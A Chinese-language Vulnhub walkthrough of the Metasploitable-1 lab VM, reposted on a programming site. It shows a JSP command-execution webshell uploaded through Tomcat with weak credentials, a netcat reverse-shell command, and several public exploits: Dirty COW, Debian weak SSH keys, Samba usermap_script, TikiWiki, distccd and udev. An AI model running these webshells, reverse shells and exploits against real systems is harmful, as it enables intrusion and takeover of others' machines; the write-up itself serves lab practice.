我的编程空间,编程开发者的网络收藏夹
学习永远不晚

Vulnhub metasploitable-1

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

Vulnhub metasploitable-1

总结:tomcat后台getshll,脏牛提权,秘钥对对比ssh免密登录,samba cve-2007-2447,tikiwiki1.9.5,distccd后门CVE-2004-2687,cve-2009-1185提权

目录

下载地址

漏洞分析

信息收集

漏洞1

漏洞2

漏洞3

漏洞4


下载地址

使用方法:解压以后选择vmx后缀的文件,直接选择vm打开就可以了。

漏洞分析

信息收集

靶机设置一个快照

fping -agq 192.168.31.0/24  使用fping快速扫描该网段中存活的机子

将靶机关闭重新扫描一下,对比少的那个ip就是靶机的ip

使用快照快速将靶机恢复

注:ip段要看自己的

经过扫描发现了很多端口,这里使用-sV -O重新扫一下。

 

这里发现了不少感觉可以利用的东西,这里首先我们知道了这是一个linux,然后有三个网站,然后发现其中一个是tomcat的,这个可以稍微注意注意,然后还开启了samba服务这个也是需要注意的。

漏洞1

首先查看第一个网站就是80端口。

It works!这个让我想到了一个漏洞,apache的目录遍历和任意命令执行就是CVE-2021-42013,但是经过尝试并没有发现该漏洞,后面继续寻找并没有发现什么东西,这里查看第二网站发现访问不了,然后看看第三个tomcat。

这里我首先查看有没有后台/manager,但是并没有发现,这里尝试点击旁边发现都是可以登录,这里是用弱口令tomcat/tomcat,都可以登录进去,然后再旁边发现了Tomcat Manager这里看看。

 然后再这里我们可以将木马打包上传上去

jsp的可回显马,将他打包成war上传。

<%    if("123".equals(request.getParameter("pwd"))){        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();        int a = -1;        byte[] b = new byte[2048];        out.print("
");        while((a=in.read(b))!=-1){            out.println(new String(b));        }        out.print("
"); }%>

然后我们访问

靶机ip/war包名称/jsp马完整名字

http://192.168.31.214:8180/aaa/1.jsp?pwd=123&cmd=id

像上面那样,但是这里查看id发现权限不搞,这里反弹shell回来看看。

http://192.168.31.214:8180/aaa/1.jsp?pwd=123&cmd=nc%20-e%20/bin/bash%20192.168.31.120%204444//注意不要照抄看看自己的ip

 

这里很容易就反弹回来了,然后并没有发现什么有用的东西,这里看看内核。

uname -a

经过查询这里提示可以使用脏牛提权这里我们试试。

这里我们将东西下过自己先编译好

g++ -Wall -PEDANTIC -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil或者make

这里我们将编译好的dcow复制到www目录中

然后开启Python3的临时网站

python3:python3 -m http.serverpython2:python - m SimpleHTTPServer#从那边开启那边就是根目录,我这里是/var/www

然后来到靶机这里使用wget复制过去

wget http://192.168.31.120:8000/dcow

 但是又出现一个问题就是好像执行不了。

这里接下来去想想其他解决方法,最后在/root/.ssh目录中发现了一个公钥文件,经过学长的提醒知道了这个在低版本中也是可以利用。

因为这里版本较低,然后是猜测存在openssl软件包伪随机数泄露,这里将那个包下载过来。

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2(debian_ssh_rsa_2048_x86.tar.bz2)

 这里使用tar jxvf解压,然后来到/rsa/2048目录下面。

grep -l AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable *.pub//使用命令查找

这个对应是有一个私钥文件的,就是没有这个后缀的一个文件。

然后我们直接通过私钥就可以登录了,然后我们直接就登录进root了。

漏洞2

还记得但是我们信息收集的东西吗,里面是还有samba服务的,这里直接使用msf试试。

我这里使用exploit/linux/samba/is_known_pipename盲打了一下,但是没有成功。

这里要善用搜索引擎,这里搜索一下看看有没有什么其他漏洞看看,这里就已经提示了cve-2007-2447,这里查看一下知道了,在msf中可以直接利用是exploit/multi/samba/usermap_script,这里我们看看。

 没想到直接就打进去了,还是一个root权限

漏洞3

这里我们继续查看80端口的网站,感觉应该还是有东西的,这里使用dirsearch扫一下目录看看吗,然后就发现了tikiwiki这个可疑目录,我记得这是一个cms,需要注意注意。

 

这进去以后,发现有一个登录的地方,直接admin/admin就可以搞进去了,但是里面没有发现什么东西,这里我们也知道了,它的版本是tikiwiki1.9.5,这个也算是很早之前的版本了,这里善用搜索引擎。

这里找到一个工具,GitHub上的

//使用git复制过来git clone https://github.com/caique-garbim/TikiWiki_1.9.5_Exploit//进去cd TikiWiki_1.9.5_Exploit//然后执行exp//主要是自己的靶机ipbash tikiwiki_graph_formula_exec.sh http://192.168.31.214/tikiwiki///然后获得反弹回来的shell//注意这个也是靶机的ipnc -vn 192.168.31.214 1337

这里也是直接就把shell反弹回来了。

 

接下来又是要提权了,这里还是感觉是脏牛提权,这里继续尝试,使用另一个dirty.c,这里因为靶机不知道出什么问题wget下载不过来,这里先下载到本地。

//自己可以在靶机中试试,可以的话,就直接到编译哪一步wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c//使用Python开启临时网站python3 -m http.server//靶机下载本机的dirty.c过来//注意要看自己的ipwget http://192.168.31.120:8000/dirty.c//编译gcc -pthread dirty.c -lcrypt -o dirty//给权限chmod +x dirty//执行./dirty

注意执行以后他就会叫我们输入密码,这里看自己,出现下面那个用户就可以了

这里我的就是firefart:123456

直接另开窗口ssh连接,这里我们看到我们也是root权限了。

漏洞4

之前nmap扫的时候,还发现mysql,这里直接试试,没想到弱口令直接就进去了。

 

但是经过尝试发现好像这个现在并没有什么卵用,写不了马,执行不了命令,提不了权。

但是在重新nmap时,加入-p-,从而发现了一个新的端口

这里使用nmap自带的漏洞脚本再扫一遍,这时候发现他是有一个cve的漏洞的,这里进入msf看看。

搜索以后还是发现了一个可以利用的,这里进去利用看看。

这里发现可以但是并没有利用成功,这里查看了半天并没有发现有什么不对,这里去github中重新寻找一份工具。

这里找到一个工具,我们直接使用git给他复制过来,记得脚本是需要pwn模块的,没有可以pip安装一下。

https://github.com/k4miyo/CVE-2004-2687

这个就利用成功了,然后就是使用方法,可以-h看一下

--rhost 靶机地址 --rport 漏洞端口 --lhost 自己的ip --lport 设置回显的端口

因为不是最高权限,这里我们要提权,这里还是找一个不一样的提权,这里还是看看内核。

这里我们使用searchsploit查查看。

这里我们看到第三个,我们尝试一下这个,同时也知道了这个是cve-2009-1185.

 

我们这里就可以看到这个exp的位置。

 这里我们复制到桌面,同时使用python开启一个临时网站。

 

因为那个界面回显是不具体的,这里我们重新反弹一个shell

 

这时候我们才能wget过来,具体使用步骤可以参考linux内核提权

//wget过来wget http://192.168.31.120:8000/8572.c//编译gcc -o 8572 8572.c

但是后面经过尝试是搞不了的,这里使用另一个。

和原来的操作一样复制到桌面上,使用临时网站搞过去。

然后给他执行的权限,chmod +x 8478.sh

然后查看里面知道要netlink这个文件,然后搞里面不是零的pid。

我们要找到 Netlink 套接字的 PID,这个 PID 通常比 UDEVDPID 小1。我们使用 cat /proc/net/netlink 命令来查看 PID,唯一的非0的 PID 就是我们想要的数字。我们可以验证这个 PID 是否正确,使用 ps aux | grep udev 来查看 UDEVD PID

 获得pid以后,执行需要等一会,然后就是root了。

来源地址:https://blog.csdn.net/m0_64815693/article/details/128892648

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

Vulnhub metasploitable-1

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

求s=1+1(1+2)+1(1+2+3)

求s=1+1/(1+2)+1/(1+2+3)….+1/(1+2+3….+n)的值#include float fun(int n){int i,s1=0;float s=0.0;for(i=1;i<=n;i++){s1=
2023-01-31

C语言计算1/1+1/2+1/3+…+1/n的问题

这篇文章主要介绍了C语言计算1/1+1/2+1/3+…+1/n的问题,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
2022-11-16
2024-04-02

c语言:求多项式1-1/2+1/3-1/

方法一:for循环实现程序:#includeint main(){double i = 0, t = 0,sum = 0,sign = -1;for (i = 1; i <= 100; i++){sign = -sign;
2023-01-31

php 循环 计算1+1+2+1+2

方法一: for 循环function add($n,$sum=0){    for($i = 1;$i<=$n;$i++){for($j = 1;$j<=$i;$j++){    $sum+=$j;    }}    echo $sum;
2023-01-31

Java循环练习:求1+(1*2)+(1

package practiceGO;public class Cto {public static void main(String[] 
2023-01-31

Java循环练习:求1+(1+2)+(1

package practiceGO;public class Cto {public static void main(Str
2023-01-31

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录